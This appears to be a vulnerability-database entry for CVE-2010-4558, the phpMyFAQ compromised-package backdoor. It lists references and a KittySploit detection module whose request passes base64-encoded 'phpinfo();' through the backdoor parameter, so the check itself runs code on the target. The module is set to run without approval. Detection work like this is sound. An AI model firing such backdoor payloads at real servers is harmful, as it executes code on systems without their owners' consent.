phpMyFAQ - Compromised Package Backdoor Detection (CVE-2010-4558)
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2010-4558 | 17 Dec 201018:00 | – | cve | |
| CVE-2010-4558 | 17 Dec 201018:00 | – | cvelist | |
| EUVD-2010-4524 | 7 Oct 202500:30 | – | euvd | |
| phpMyFAQ - Compromised Package Backdoor RCE (CVE-2010-4558) | 10 Aug 202606:19 | – | kittysploit | |
| CVE-2010-4558 | 17 Dec 201018:00 | – | mend | |
| CVE-2010-4558 | 17 Dec 201019:00 | – | nvd | |
| phpMyFAQ Backdoor Unauthorized Access Vulnerability | 20 Dec 201000:00 | – | openvas | |
| phpMyFAQ Backdoor Unauthorized Access Vulnerability | 20 Dec 201000:00 | – | openvas | |
| Code injection | 17 Dec 201019:00 | – | prion | |
| PT-2010-5538 | 17 Dec 201000:00 | – | ptsecurity |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""phpMyFAQ backdoor (CVE-2010-4558)."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'phpMyFAQ - Compromised Package Backdoor Detection (CVE-2010-4558)',
'description': (
'Detects CVE-2010-4558 via index.php?phpmyfaq_new=cGhwaW5mbygpOwo= (phpinfo();).'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'cve', 'cve2010', 'phpmyfaq', 'backdoor', 'rce', 'unauth', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2010-4558',
],
'cve': 'CVE-2010-4558',
}
def run(self):
for base in ('', '/phpmyfaq', '/faq'):
path = f'{base}/index.php?phpmyfaq_new=cGhwaW5mbygpOwo='
r = self.http_request(method='GET', path=path, allow_redirects=False)
body = (r.text or '') if r else ''
if '<title>phpinfo' in body and 'PHP Core' in body:
self.set_info(
severity='critical',
reason='phpMyFAQ compromised package backdoor (CVE-2010-4558)',
path=f'{base}/index.php',
)
return True
return False
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10 Aug 2026 06:19Current
5.7Medium risk
Vulners AI Score5.7
CVSS 27.5
EPSS0.01409